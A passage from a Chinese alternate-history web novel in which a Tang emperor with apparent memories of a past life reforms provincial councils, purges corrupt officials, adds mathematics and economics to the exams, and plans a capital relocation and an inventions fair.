在全国组建17个道、10个军团以后,李纯认为,虽然进行了军政分离,但是按照唐朝的制度,地方官员和将领权力依然很大。
以前,节度使和刺史、县令简直是地方的土皇帝,简直是为所欲为,将领的权力也太大,一旦起了异心就难以驾驭,如果派出宦官做监军,又会影响将领的自**,削弱部队的战斗力。
李纯觉得,最核心的就是军政主官的权力太大,必须要进行适当的分权或限制,避免一个人说的算,不能想怎么来就怎么来。
根据前世的经历,李纯觉得可以引入集体决策机制,就是重大事项不能主官一个人说的算,必须要和几个重要属员商议,集体决策。
从目前来看,道一级的作用最重要,李纯打算先在道一级引入集体决策机制,待成熟后,再向其他机构推广。
具体设想是,在各道设一个正三品的布政使的基础上,再设一个从三品的按察使,一个正四品的布政副使,一个从四品的都统,一个从四品的学政,组成五人政务会,各道的重大事项必须经过政务会的讨论决定后,才能实行。
人员分工是:布政使作为道的最高长官,负责全道的各项事务,主持政务会;按
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察使分管道的监察和人事方面的事务,既是道的二号官员,也是是朝廷派驻的监督官员,负责监督政务会的落实;布政副使为布政使的副手,日常分管民事和经济方面的事务;都统主管军事和治安;学政主管文化和教育。
政务会主要由布政使发起召开,其他成员两人以上也可以发起召开。对于布政使的政令,按察使如认为越权,可要求提交政务会讨论决定。
政务会的决策采取现场表决制,多数人支持的意见为最终的政令。如政务会多数人的意见和布政使不同时,可由布政使、按察使联合上奏朝廷,由朝廷裁决。
说白了,政务会有点像前世各地的**会,主官的权力虽然仍然比较大,但是在重大事项上必须尊重其他成员的意见,否则就会有被架空的风险。
由于是集体决策,也压缩了主官为所欲为的空间,形成了一定的分权和制约。
李纯和李吉甫、裴垍说起关于成立道的政务会的想法,没想到李吉甫笑了:
“陛下,这不是和我们中书省五人商议后,再决定向皇上提出办理意见的套路是一样的吗?”
李纯微笑着说:“是这么回事,重大事项还是集体商议才能吸收大家的智慧,想的会更周全。”
裴垍赞同道:“通过军政分离和政务会,彻底限制了地方大员的权力,可以很好地维护朝廷的权威,完全可以推行。”
各道原来设的官员有三个,正三品的布政使、正四品的布政副使,从四品司马。李纯觉得各州也有司马,两级的官名还是要有所区别,所以将道一级的司马改为都统。
组建五人政务会,其实就是在各道另外再增加一个从三品的按察使,增加一个从四品的学政,给人升官的事好办,各道的很快就按照朝廷的规定配备官员,组建起五人政务会。
各道组建五人政务会以后,布政使的权力相对缩水,按察使作为朝廷派驻各道的监察人员,监督五人政务会的落实。
道的一些重大事项,特别是涉及利益的敏感事务,如经费开支和**,不再是主官一个人说的算,必须由五人政务会统一讨论决定,由于是集体讨论,而且由按察使监督,布政使会有所忌惮,不敢为所欲为。
道一级的设置和官员配备完毕后,李纯又开始关注州县的情况,在查阅各道的基本数据时,发现州县两级的设置很不合理。在唐朝,根据人口规模把各州划分成大州、中州、小州,州刺史的品级也是不同。
大州、小州的人口能相差十倍之大,有的州面积小、人口少也因历史原因设成了州。县的设置也是如此,体量相差巨大,有的县不足万人,也是一套县级的行政机构,该县百姓交的赋税还不够养人的,朝廷还要贴钱。
于是,李纯下旨由中书省和吏部、户部对全国州县的情况进行梳理,撤销合并一批规模较小的州县,节约行政成本。对于撤销的州县官员,由吏部量才使用,分派到其他州县,如有冗余,采取退二进一、退三进一的方式逐步进行消化。
之所以没有裁减多余的官员,一是李纯不忍心这些人因为改革丢掉饭碗,产生新的问题,形成不良的**导向;二是经过户部的努力,财税提高较多,目前还可以养得起;三是如果社会稳定下来,人口会迅速增加,到时会需要更多的官员,没必要先裁再招。
由于道一级设置还没有多久,加上人员安置的难题,各地的积极性不高,这次对州县的撤并规模不大。
李纯也不想一下子把步子迈的很大,引发较大的动荡,就没有深入去抓,打算等道一级运行稳定了,再大规模进行州县的机构改革。
元和四年是唐朝波澜壮阔的一年,朝廷通过一场大规模的削藩之战,加上恩威并施的手段,成功解决了藩镇割据这个最大的问题。
在削藩的同时,朝廷在军政上进行大规模的改革,重塑了唐朝整个行政架构和军队体制,有效实现了中央集权,朝廷对各地和军队形成了绝对的控制力。
通过一场大变革行动,唐朝实现了鼎固革新,国家恢复了大一统格局,从此可以避免内耗,集中精力聚焦发展,国家终于出现了中兴的局面。
第43章 铁腕反腐
唐朝的百姓感受到,终于不会再有内乱了,人们可以安心的生活了,很多逃难在外地的百姓纷纷返回故乡。随着社会的稳定,百姓再也不用怕征兵拉夫,全心全意发展生产,为了过上好日子而努力。
地方的各级机构开始正常运转后,李纯让李吉甫再次主持土地和人口的清查工作,重点是以前藩镇控制的地区。李吉甫这次出手更重一些,不仅清查隐匿的土地和人口,还对违法强占土地的情况进行清理。
针对原来一些藩镇的将领、官员、豪强霸占、强夺的土地,李吉甫要求全部退还给原来的百姓。李吉甫仍然采取杀鸡儆猴的手段,首先狠狠查处了一批不配合的反面典型,对一些豪强进行重罚,迫使他们放弃了强占的土地。
通过清查土地人口和退地行动的展开,有的百姓重新获得土地,有的摆脱了豪强的人身控制,朝廷取缔了一些苛捐杂税,底层百姓负担减轻了不少。
国家稳定以后,李纯就想选拔一批有能力、有干劲的官员,配到各地各部门,但是经过认真考察,李纯很不满意,东挑西选很难找到足够的优秀人才。
朝廷和地方的不少官员能力欠缺,尸位素餐,有的人只会讲几句空泛的治国之道,对于如何发展经济、改善民生、富国强兵简直就是一窍不通,还喜欢拿圣人的道理来压人。
李纯对孔孟之道和经典理论也是认可的,但认为只有那些内容是不够的,必须要把文、史、政、法、数、理等内容融会贯通,拓展人的视野,提高综合能力。
目前的科举取士具有局限性,以写诗赋文章为主,侧重于文学和**,经济和科学方面的知识比较欠缺,选取出来的进士往往思想守旧,喜欢空谈。
更让人头疼的是贪腐问题,几乎是无人不贪,清廉者只是极少数,****成为官场上的潜规则。
以前藩镇割据,李纯怕反贪搞得太狠会把一部分人推到藩镇那边,现在已经解决藩镇问题,绝不能再放任贪腐横行,必须要采取措施遏制。
经过认真思考,李纯认为天下安定以后,其他的事务都可以逐步来抓,解决贪腐问题是当前最重要、最应该抓的事务,决定先搞一波反腐行动,扭转一下政风,然后再完善反腐的制度,全面纠正官场的不正之风。
对官员的监察和反腐工作属于御史台的职责,李纯于是在宣政殿召见御史大夫卢坦和御史中丞元稹。
李纯问道:“两位爱卿可知今天朕召见你们,所为何事?”
卢坦说:“陛下前段一直忙于削藩和官制改革的事,今天突然召见我们,莫不是发现了官员的不法行为?”
李纯开门见山:“一年前,两位爱卿就先后跟我提起官员的不轨问题,奈何当时朝廷忙于削藩,不愿节外生枝,便推迟了下来,现在天下安定,是到了该整顿吏治的时候。”
元稹赞道:“陛下明见,再不刹一刹歪风,很多人会认为朝廷会无限包容他们,肆意贪腐。”
李纯正色道:“这次反腐的任务就交给御史台,你们要认真调查,掌握证据,抓一批贪腐的典型,从严从快办理,形成震慑效果。”
卢坦来了劲头:“我卢坦最恨贪官和违法乱纪的事,早就等陛下这句话了,请问陛下想从哪查起?”
李纯道:“就先从朝廷的官员查起,朝廷内部肃清了,再去整顿地方才会理直气壮。”
卢坦和元稹领命而去。
有了皇帝的旨意,御史台立刻行动起来,张贴告示,要求官民积极踊跃提供官员违法和贪腐的线索,对于提供相关线索和证据且属实的,予以奖励。
卢坦还让人在御史台设立了一个大铜箱子,上面留有投放口,鼓励人们积极提供贪腐官员的相关线索,投入举报材料。
御史台的人员全都忙碌起来,根据掌握的线索,不断收集证据,对相关人员展开调查。
一旦掌握足够的线索和证据,四品以下官员报经卢坦同意,从三品以上大员报经李纯同意,御史台立即进行抓捕,分组进行审理。
有些官员平常肆无忌惮,横行不法,到处**索贿,早就引起很多人的不满,举报材料纷至沓来。
物以群分,人以类聚,贪腐的官员往往相互勾结,盘根错节,抓出一个,就可以顺藤摸瓜牵出很多个,也就是两个月的时间,朝中六品以上的官员竟然先后有三分之一的人被抓去审问。
最恶劣的是右仆射裴均和门下侍中卢从史,两人都在地方当过节度使,横行霸道惯了,生活奢侈,在节度使任上就有劣迹。入朝后仍不收敛,仗着自己级别较高,竟然拉帮结派,想办法干预官员的任免和财政资金的使用,从中牟利。
御史台在他们家中竟然搜出大量钱财和金银珠宝,甚至还有上百石珍贵的胡椒,经过折算,两人**的金额分别折银达到十二万两、八万两。
礼部尚书王播、吏部尚书郑珣瑜、户部尚书李巽、工部尚书柳晟也卷入其中,或多或少都有贪墨行为,其他波及的中低级的官员共达百人之多,查到最后,朝廷的官员有几百人涉案。
李纯看到御史台的报告,并不觉得意外,当时官员的**情况非常严重,必须借此机会搞一次反腐风暴,狠狠惩处一批人。
关于裴均和卢从史,李纯很早之前就觉得他们有问题,但是当时为了解决藩镇问题,不得不对他们忍让,没想到这两个人竟然毫不收敛,愈加过分,这次正好可以杀鸡儆猴。
对于其他涉事官员,李纯观点是自作孽不可活,凡是罪行严重的该杀就杀,该判刑就判刑。
看到涉案那么多人,李纯也慢慢冷静下来,此时的**问题,既有个人的品质问题,也有当时的风气问题,如果换成其他人,也有可能犯下同样的错误。
李纯又考虑到,这次涉案人员很多,如果全部拿掉,朝廷正常的运转都会受到影响,即使把这些人都处理掉,新换上来未必都是清官。经过一番权衡,决定还是采取软硬两种手段来处理。
硬的一面,对裴均和卢从史等人严厉处分,按照律法对以裴、卢为首八名**金额巨大、罪行严重的官员斩首示众,以儆效尤。对其他罪行较重的,李纯决定结合其历史表现酌情处理,革去所有职务,重则入狱服刑,轻则勒令回乡。
软的一面,对一些**金额较少,罪行较轻的官员采取怀柔手段,只要退回赃款,承认错误,由朝廷下旨训诫,罚俸若干,仍回原岗,戴罪立功,后面如有再犯,数罪并罚,算是为大部分罪行较轻的人开了口子,体现朝廷的怀柔政策。
这样做也是没办法的办法,总不能让朝廷瘫痪掉,很多事还需要人来做。如果上纲上线,处理的人员过多,到底换谁上来干,谁能保证新上来的也是干净的,如果这些人后面再出问题,朝廷将颜面无存。
杀几个人,再抓一批,适当震慑就好,反贪是个复杂工程,需综合施策,不是三板斧就能解决的。
尽管如此,朝廷一口气杀掉八个贪腐的官员,而且其中两个是从二品的高官,在唐朝都是史无前例的,还有一大批的官员被罢免问罪,其中有一部分是三四品以上的高官,就包括礼部尚书王播、吏部尚书郑珣瑜,在官员队伍中形成了强烈的震撼。
以前官员私下****的潜规则被打破,只要敢贪腐,朝廷会严抓,搞不好会杀头、会入狱。
户部尚书李巽、工部尚书柳晟等一大批官员被朝廷从轻处理,虽然没有被罢免,但是经过这次反腐风暴,也是被折腾的够呛,知道朝廷没有严办是有条件的,自己如果再敢沾上贪腐,下次等待自己的就是罪上加罪,极有可能**头,噤若寒蝉。
由于反腐的规模比较大,朝廷一下子空出很多位置,重要的有右仆射、门下侍中、礼部尚书、吏部尚书四个官职,其他还有一些侍郎、郎中等官职空缺,都需要填补。
对于空出的几个重要位置,李纯有自己的打算。门下侍中就让卢坦接任,算是对他反贪成绩的认可,他的年龄也偏大了,年近六十,给一个较高的位置,可以继续发挥余热。
武元衡原来就是宰相,因为当时的需要外放到西川,于情于理都应该给他升官,后面还要他指挥进攻吐蕃,就让他兼任右仆射。
御史大夫一职很重要,裴度这个人嫉恶如仇、很有想法,而且此人是武元衡推荐的,是个干事情的人才,可以让他担任御史大夫。
礼部尚书就让权德舆干,此人曾在礼部干过侍郎,熟悉礼部章程,组织朝廷的重要活动没有问题。
吏部尚书,李纯
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想到了韩愈,此人有文化有见识,刚直不阿,适合做人事工作。
根据中书省的推荐,李纯调王重元为闽潮道布政使、调令狐楚为中书省光禄大夫,至于其他官员就以中书省的推荐为主。
思考完毕,李纯和两个宰相碰了一下,他们也觉得几个人都挺合适,没有异议,于是按照李纯的意见颁发圣旨任命。
中书省会同吏部,后面又推荐了侍郎、郎中等空缺官职的人选,李纯看了名单觉得都还可以,就一一批准。
朝廷的官员逐步补齐以后,大家都知道**的严重后果,都不敢再轻易触碰底线,朝廷官员的风气得到了扭转。
朝廷的反腐活动结束以后,李纯又让各地发起反腐行动,为了防止地方上走过场,李纯让御史中丞元稹担任巡查使,带领一帮御史台的属员,到各地督查反腐的情况。
元稹如果发现有的地方消极反腐,或者阳奉阴违、姑息纵容,就会直接带人介入,主导当地的反腐工作,来个大查特查,狠狠折腾一番,让大量官员罢职甚至入狱。
各地为了不给元稹介入的借口,都开始大规模开展反腐行动,抓了一批**严重、罪大恶极的官员,大量的赃款、资财被没收,全国的官场产生了很大的震动。
元稹仍然不放心,带人四处转悠,发现线索就过去穷追猛打,让一个个贪官成了倒霉蛋。由于元稹动作猛、下手狠,不少官员私下称他为“白面阎王”,对他又怕又恨。
搞了一段时间后,李纯认为反腐已经取得了很大的成果,官场的风气得到明显扭转,如果持续搞下去,会弄得人人自危,很多工作没法开展,形成负面作用,就召回元稹,让反腐告一段落。
反腐行动结束后,李纯觉得不能光靠这种大规模的运动来反腐,反腐重在平时,重在完善制度,减少官员的寻租空间。为建立和完善反贪防腐的相关制度,李纯召裴度、元稹和韩愈进宣政殿议事。
李纯道:“朕已经即位五年了,虽然削藩取得了成果,但是总感觉还有很多事没做好。前段大规模的反腐,处理了不少人,这不是朕的本意,朕觉得还是应该建立完善的制度,重在防微杜渐。对于如何整顿吏治,建立反贪防腐的治本之策,朕想听听你们的意见,你们要知无不言,言无不尽。”
裴度说:“千年以来,历朝历代都是靠御史台来反腐,臣觉得还是有些局限性,一是朝臣的争斗经常会把御史们卷进来,御史容易成为彼此**的工具;二是御史毕竟人数有限,不可能掌握所有情况,让很多人有空子可钻;三是反腐往往看主政者的决心,主政者一旦懈怠,贪腐就会重新滋长。”
韩愈说:“**的一个原因是部分官员的权力太大,难免禁不住诱惑,监察和制约机制不够完善。另外,中下层官员的待遇普遍不高,以京城六品文官为例,每月只有俸禄200文,禄米5石,仅够家中最基础的生活,要想过得体面些,有些人或是让家人从事与自己权力相关的产业,或是直接****,将手中的权力变现。”
李纯道:“两位爱卿言之有理,种种不利因素形成了今天尾大不掉的局面,反腐治本,任重道远。朕先提几个思路:
一是要提高官员待遇,一个官员成长起来很不容易,如果连一个普通商人的收入还不如,换谁都会心理失衡,朝廷财政有限,这次先涨两成,后续财政起来再增加;
二是必须要限制官员的权力,加强监督,目前在各道推行五人政务会制度,大事不再是一个人说的算,压缩了官员的寻租空间,以后还要出台其他一些有效的制度,把权力关在笼子里;
三是在御史台成立审计司,御史台搜罗一些懂政务流程、精通财物的能手,对有问题的衙门进行全面的审计,通过资金的流向发现贪腐的线索,堵塞**漏洞。你们还有什么好的意见?”
元稹说:“这次反腐行动,用铜箱收集举报线索,发挥了重要作用,臣建议此法保留下来,作为常态,让官员心怀忌惮之心。其次,还要加强对官员任职、提升的审查,对于有劣迹的官员,决不能任用。”
李纯道:“这两条也很重要,就由你们御史台施行。以后吏部凡要使用和提拔官员,首先经过御史台的审查。”
第44章 三项谋划
韩愈说:“这些没问题,臣觉得还要树立一种正面导向,就是做官不能为了发财,我等读圣贤书,做官就是要秉承清廉为民的宗旨。当然,对于家中有困难的官员,我们吏部也会进行摸底,调查核实后,申请朝廷进行补助和慰问。”
李纯道:“为朝廷做官,心怀正念,廉洁奉公是首要条件,吏部在选拔官员时,要坚持这一原则。我们打击贪腐,压缩权力寻租空间,也要给官员予以适当照顾,生活上要留有体面,对于经济有困难的,当然要给予适当救济。朕自即位以来,崇尚简朴,也是在和诸位臣僚共度时艰,只有臣僚和百姓过上好日子,朕才有心情过好日子。”
裴度说:“陛下即位以来,志向远大,做成了好几件大事,我们都坚信跟着陛下会有好日子,大唐会迎来新的盛世。”
李纯道:“我朝在太宗年间,何曾辉煌,四方来朝,号称“天可汗”,安史之乱后,外族趁机入侵,安西、北庭都丢了,河西、陇右的大部分也被吐蕃占领了,朕每每想起此事,就夜不能寐,时刻想着重振我大唐雄风。朕即位的前几年,我朝是千疮百孔,为了解决藩镇问题,我对其他方面是一再隐忍,但心里也是很着急,现在天下稳定了,就想把很多事做起来,进一步增强国力。”
韩愈说:“皇上的苦心,我们都能感觉得到,只是振兴大唐也非一日之功,陛下也不能一个人担太多,我们做臣子的更要尽心竭力,帮陛下分担一些。”
李纯道:“反腐倡廉是个大工程,需要持续努力,今天讨论的这些办法都很好,你们回去和两位宰相再议一下,确定以后就下旨实行,后面有好的办法、措施再进一步补充。”
韩愈等人走后,把和李纯商讨的办法,又和中书省讨论了一番,进一步细化,最后形成措施,由李纯审定后下旨实行。
朝廷实施的几个措施深得官心、民心,人们觉得确实从制度上比以前更加完善一些,堵住了不少漏洞。
特别是增加官员俸禄一条,让很多官员很感动,认为朝廷在整治官员****的同时,也在增加官员的合法收入,还关心他们的困难,减少了后顾之忧。
反腐工作取得成效以后,李纯认真思考一番,感觉还是有很多其他事情要做,重点的有三项。
首先是教育的问题,以前的科举取士,比起魏晋的门阀制度虽有进步,但是逐渐暴露出其局限性,选取的人才严重偏科,重文史,轻其他,经济、司法相对薄弱,数理基本是空白,这对于发展经济和科技是非常不利的,社会难有大的进步,远征欧洲就是在做梦。
其次,李纯想搞一次发明大会,发动群众智慧,搞出一些创新,通过一些实用的发明创造,扭转人们对科学认识的偏差,形成一种导向,调动人们学习和应用科学的积极性,这和教育改革也是相辅相成的,都是富国强兵的必要手段。
再次,李纯考虑迁都,长安地处西北,关山阻隔,南边是秦岭,西边、北边是黄土高原,东边是黄河和潼关,交通不便,朝廷这么多人在这里,从东南运送物资的物流成本很高。长安偏居一隅,周边的人口太少,难以形成大的辐射作用,不利于带动全国经济的发展,吐蕃占领陇右以后,时常威胁西部边境,也不利于朝廷稳定。
教育改革的事,李纯自然首先和新的礼部尚书权德舆商议,没想到权德舆不赞同。权德舆认为,千年的儒家经典,岂能轻易改去,官员一直是读圣人来学习治国之道的,数理之类都是雕虫小计,怎能登大雅之堂?
李纯又找李吉甫、裴垍商议,他们还算能理解李纯的一些意思,但是也只是支持进行适当的局部改制,不赞成全面的改革。
为了推进科举制度改革,李纯决定搞一次大规模的征求意见,看人们是否支持在科举中增加数理和经济的内容。
少数大臣看到新的火器在作战中具有很大的威力,觉得增加新的内容有利于提高科学认识,因而赞成科举改革。
但是大部分官员和权德舆一样,认为圣人之道不能轻易改弦易辙,那些雕虫小技上不了台面,反对科举改革。
在士子当中,更是强烈反对科举改革,他们认为自己多年努力学习儒家经典,突然改弦易辙,自己的付出都白费了,强烈反对科举的全面改革。
普通百姓的思想更是普遍比较落后,无法理解科技的重要性,也没人支持科举的全面改革,李纯都有点无语了。
为了稳妥起见,李纯决定结合现状进行局部改革,他对当时的科举制度进行深入研究,发现唐朝除了进士科以外,还有明法科、明算科、明经科、明字科等考试,分别考的是法律、数学、经书、文字的内容,只是这四科规模小,只是个别部门选拔人才时才用。
经过分析后,李纯认为经书和文字就算了,法律和数学可以适当合并到进士科。
经过考虑后,李纯要求礼部对科举取士进行了优化,保留原来的诗赋、策论部分,增加司法、经济和数学三个内容。
权德舆看到李纯的方案只是局部改革,也不好反对,但是要求三年后再按新法进行科举考试。李纯觉得,权德舆这个要求还算合理,总要让人学习一段再考试才行。
李纯在下旨时,干脆趁热打铁,在国子监办一个补习班,还要求每个道办一个补习班,聘请专门人员教授举子们司法、经济和数学知识,帮他们补一下短板。
当然开始学的都是一些基础知识,易学易懂的先教,以后再逐年增加难度。
当时,懂法律的人还有些,但是懂数学和经济的人才奇缺,这些人成了香饽饽,稍微有点知识的人,就被各道的官学请去当老师。
很多想通过科举出人头地的学子觉得,虽然考试的内容变了,但是科举取士的制度没变,依然可以通过科举做官,急忙恶补司法、经济和数学知识,忙的不亦乐乎。
看到教育改革有了进展,李纯在宣政殿召见工部尚书柳晟,商讨迁都和发明大会的事宜。
李纯首先问道:“你知道为什么在上次的吏治整顿中,朕没有深究你和李巽的责任吗?”
柳晟连忙说:“微臣有愧,未能严格遵守律法,犯了错误,一直以来都感恩陛下从轻发落。”
李纯道:“人非圣贤,孰能无过,你们都是能做事的人,为朝廷做出不少贡献,所犯错误不算很大,以后决不能再犯。在我的视野里,工部很重要,未来要做的事很多,不愿换一个不懂的人来做尚书。”
柳晟说:“工部在六部中一直地位相对较低,不知陛下有何需要工部出力的地方?”
李纯道:“我有两件大事,需要你们工部来做,一是考虑迁都的事宜,二是想办一个发明大会,也就是让全国的能工巧匠,集中展示一下自己的好物件。”
柳晟说:“迁都是件大事,陛下选好新都的地点了吗?”
李纯道:“初步选了几个地方,还没定,朕要跟朝臣们商议一下,你要做的是先做好预算,看要花多少钱,需要多少人力,还有一些工程技术的准备。”
柳晟说:“这个没问题,臣回去跟工部的属员认真研究计算一下,三天后就可以禀告陛下。关于发明大会,前朝都没搞过,不知陛下有什么要求?”
李纯道:“你看,朕和郭云、清虚子研究搞出**以后,生产了很多火器,部队的战力提高了很多,你就沿着这个思路,发动民间的能工巧匠,搞出一些新奇实用的物件,你们工部选一些有推广价值的发明创造,对发明人予以奖励,并在全国推广使用这样的物件。”
柳晟说:“这个要在全国广发布告,让各道州发动一下,让人全部知晓,再等全国各地的人来到长安,起码也要三个月。”
李纯道:“这个不急,就定在五个月以后,中秋前后举行,到时朕也要准备一件器物,朕提供想法,你们工部派人帮我制作出来。”
柳晟说:“我们的虞部司郎中艾笛声,喜欢研究物件,我让他专门负责陛下物品的制作。”
艾笛声?李纯觉得耳熟,原来和发明大王爱迪生同音呀,李纯笑了笑说:
“后面可以让这个艾笛声入宫觐见我,我会跟他说怎么做这个器物,这次发明大会要多给点彩头,奖金丰厚些,发明具有推广价值的,发明者可以进入工部做官或者工匠,第一次要办出声势。”
看到李纯期望值很高,
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柳晟连忙回到工部组织人员测算迁都的费用,筹办发明大会事宜。
迁都的风声放出不久,就引发了巨大的争议,有的赞成,有的反对,有的想迁都洛阳,有的想迁扬州,还有汴州、襄州、成都也想争取,搞得莫衷一是。
李纯当然有自己的想法,但是不愿过早表态,让朝野都先辩一辩,各说各的理,自己也好有个准备,后面再驳去不合适的意见。
看到众说纷纭,阻力比较大,李纯决定分两步走,第一步先讨论要不要迁都,第二步再讨论迁到哪里,先集中应对反对迁都的意见。
与唐朝初期关陇贵族占据朝臣的绝大多数不同,此时的官员结构已经发生了很大的变化,基本是来自全国各地。
其中以潼关以东的华北地区最多,其次是江淮、江南地区,再次是关内、川蜀、湖北等地,都想把都城往自己老家那边迁,所以很多人支持迁都。
刑部尚书高郢等老臣久居长安,反对迁都,两派争论的很激烈。
期间,李纯好几次找大臣谈话,讲述长安的局限性,肯定支持迁都的人,对反对迁都的意见进行批驳,官员们一方面觉得李纯说的有道理,另一方面也觉得在哪里都是当官,皇帝让去哪里就去哪里,所以支持迁都的成了多数派。
反对迁都的高郢等人使出一个**锏,那就是迁都耗费巨大,国家财政承受不了。
迁都的费用问题也是李纯所考虑的,迁都必须在国家财力承受的范围内进行,所以连忙召见柳晟和李巽,询问相关费用问题。
柳晟说:“陛下,营建新都要看建设多大规模,简单还是豪华,费用相差很大。当年隋文帝营建大兴城,崇尚简朴,三千万贯钱就可以,后面隋炀帝营建洛阳,讲究奢华,前后花费上亿贯。”
李纯问李巽:“目前全国赋税一年有多少钱,是否可以支撑迁都?”
李巽答道:“目前全国赋税加起来约两千万贯,挤一挤,挤出五百万贯是可以的,多了也是吃不消。”
李纯道:“朕当然想效仿隋文帝,崇尚节俭,但是当时隋文帝建设的大兴城原来有一定的基础,如果全部重新建设,估计三千万贯肯定不够,如果迁都在洛阳以外的地方,是否可以用一下洛阳的建筑材料?”
柳晟说:“如果全部重新建设,估计需要五千万贯,洛阳当年建设的基础好,如果拆掉材料重新用,起码可以节省一千万贯。”
李纯又问:“还有没有其他节省的办法?比如不修城墙,或者减少拆迁的居民,还有招徕一些富户自建街市、道路。”
柳晟说:“都城不建城墙似乎不妥,但是规模可以小一点,减少拆迁的户数也可以做到,除了城中央的皇宫和官衙以外,其他的村庄尽量予以保留,只在空地上建房,两者相加可以再省个八百万。但是至于让富户建街市、道路,谁愿意往里投呢?总不能强迫吧。”
李纯道:“新的都城,主要分三个区域,一个是宫殿和官衙,这笔钱必须是朝廷出;第二个是居民的房屋,这自然是百姓自己买地建房,不用朝廷出;第三个是工商业区域,以前是官府集中建设一片市场,然后分配给商人承租,由官府集中管理,这一块朝廷可以让出来,跟房屋一样,让他们自己建。道路方面主干道由朝廷统一建,街区中的小的道路可以让居民自己建,建不起可以先用土路”
柳晟说:“按照陛下的法子,又可以省下几百万贯,朝廷只负责建设宫殿、官衙、城墙、主干道,比隋文帝建造的费用还低。按照这个算法,也就两千五百万贯左右。”
李巽说:“陛下,这样建是不是有点将就了些,是否有损陛下的威名?”
李纯道:“建设一个城市,哪里是几年就能建成的,我们先搭一个框架,后面慢慢去填充,只要位置选得好,国家保持安定,全国的人民都会源源不断涌向京城,自然会越来越壮丽。这样吧,我们依然采取两京制,先迁东都洛阳,新的都城依然叫东都,长安还是京城,这样就不会有损朝廷的颜面。”
李巽又说:“以前的商业区,都是朝廷集中建,集中管理,如果让商人自己建,不是会很分散,不好管理了?”
第45章 出巡东南
李纯道:“朕上次就跟你们提过,要逐步放开商业,你们还是没有完全理解,只是一味在盐铁上想办法,盐铁是军事和百姓必需的物资,不能再加税了,新的都城划几个大型的商业区,只要不在官府限制区域内,其他的地方可以根据老百姓自己的选择位置开店,全部都让他们自己建,只要是合法经营,政府可以管的宽松一些,按月收税就好。”
李巽说:“这个微臣也能理解,商业搞活了,买卖就会兴旺起来,税收自然会增加,只是以前确实保守了些,没敢放开。”
李纯道:“以后要给商业松绑,搞活贸易,这样起码可以增加上千万贯收入,你们户部要保护商贩合法利益,打击强买强卖,让商人能够安心经商,百姓的权益也能够得到保障。”
李巽说:“自古以来重农抑商,臣怕这些商人富起来后,会引起不好的影响,很多人都去靠买卖获利,士农工都会效仿去追金逐利,败坏社会风气。”
李纯道:“你的想法代表了很多人的立场,所言有其道理,但是迁都要钱,给官员加薪要钱,后面对外打仗也要钱,只有人们赚的钱多了,我们才能多征税,朝廷才有钱办事。既要保护合法商贩,也要打击不法商贩售卖伪劣商品和投机倒把的行为,如果商人是合法赚钱,士农工商各有自己选择职业的自由,当然后续朝廷也会采取一些平抑政策,想办法让富商多缴税,稳定一下其他阶层的情绪。”
柳晟说:“陛下所说的发明大会,臣建议在中秋节后的几天举行,这是否也是陛下强国的办法?”
李纯道:“说的好,发明创造被很多人视为奇技淫巧,被很多士大夫不屑一顾,你们想想,靠农业,全国就那么多土地,即使风调雨顺,产出也是有限度的,搞活商业,可以增加一些收入,但是发展到一定阶段,可以买卖的东西就那么多,也会有个尽头,后面就需要工业,也就是制造出更多老百姓需要的东西,这样才能创造更多财富。”
柳晟说:“我们工部一直是花钱的部门,没想到也可以帮助朝廷创收,当前老百姓在衣食住行方面需求确实很多。”
李纯道:“就比如从长安到岭南,舟车步行,用好几个月,如果能制造出快船、快车,只要价钱合理,是不是大家争着乘坐?还有目前的手工织布速度太慢,布料的价格贵,大部分人的衣服不够穿。”
柳晟说:“跟陛下聊一聊,臣下的思路打开很多,也想在任上好好干出一番事业,为振兴大唐做贡献。”
李纯道:“嗯,这样的精神状态才好,你明天让那个艾笛声进宫一下,朕会跟他交代一下器物如何制作,后面朕会出巡一下,挑选查看一下新都的位置,柳爱卿跟朕一起去,带几个懂行的官员,那个发明大会可中秋节后在洛阳举办,你让工部侍郎刘元景负责筹办此事。”
第二天,工部的虞部司郎中艾笛声,进宫面圣,李纯便跟他谈起如何制造那个器物,没想到此人的慧根不错,沟通了一阵,他就理解了。
原来艾笛声这个人也爱捣鼓物件,推崇三国时期的马钧,但是一直不受重视,跟李纯聊了一阵,兴致大起,也要在发明大会搞出一个自己的物件。李纯让他在八月初之前搞出来,弄到洛阳,自己到时要先看一下。
随后,李纯又举行了一次朝会,大家知道了李纯迁都的决心,没人再反对迁都,但是各种意见还是很多,支持洛阳的最多,其次是汴州,然后是扬州、襄州,还有提成都、邺城、武昌的,各摆各的理,争论不休。
李纯总结道:
“众爱卿为了迁都的事,积极献言献策,这都很好,长安地处西北,物产贫乏,又被吐蕃威胁,从江南运送粮赋来长安的成本太高,不适合继续作为全国的中心,至于洛阳,比长安稍好,也有一定的基础,但是洛阳周边都是山,水陆运输的成本也高,也不是最佳地点。自我朝以来,经济和人口逐渐向东南发展,长安、洛阳距离太近,朕想继续使用两京制,但要分出一个靠近东南方向,加强对全国的管理。”
众人一听,发现自己理解有误,都住在长安,当然不希望搬长安,于是纷纷支持迁东都。那些原本支持汴州、襄州、成都等地的不吭气了,很多人转而支持扬州。
李纯却另有一番想法:
“扬州经济发达,水运便利,是个好地方,但是离江海太近,水上安全也是问题,毕竟全国的重心还是在黄淮一带,朕要综合考虑。朕即位有五年了,除了长安周围,还没到其他地方看一看,这次朕要出行一趟,一是选择东都的新址,二是顺道查**情。朕将三日后出发,工部尚书柳晟、枢密使崔群随行,御林军护驾,经洛阳,最终到扬州。朕离开前,重要事项可迅速禀报处理,朕走后,由中书省主持日常事务,一般重要事项可派使者与崔群联系,需众臣参与的重大事项可由朕回长安再处理。”
李纯认为,前面是藩镇割据,出行不方便,而且还有很多事要处理,没时间。
在发明大会之前还有四五个月的时间,自己到东南方向走一走,既可以现地查看东都新址,也可以认真看看自己所统治的国家,看看基层百姓的官员的状态,为下步治理的方向提供思路。
带上柳晟,自然是为了选择新都的需要,新都的选址和建造均由工部负责,他们必须要参与。带上崔群,自然是为了方便处理出巡的各项事务,他相当于皇帝的大秘书,很多事都需要他来去办。
既然是皇帝出巡,还是要有些阵势,安全保卫工作也要做,于是让郭钊带领三千御林军护驾。
但是李纯也知道,这样去巡查也看不到真实情况,老百姓被吓跑了,官员会搞些表面现象。所以李纯早就在枢密院成立了察访司,为的就是能够替自己收集到一些真实情况。
对于自己看到的有疑惑的、需要核实的地方,可以让吕元膺通过正式渠道去调查,如果发现有大的问题,可以联络让御史台介入,由御史台深入调查。
纪奎出身于底层小官,文化水平不高,但是人比较聪明能干,被李纯选中为察访司员外郎后,非常珍惜机会,平时干活格外卖力。
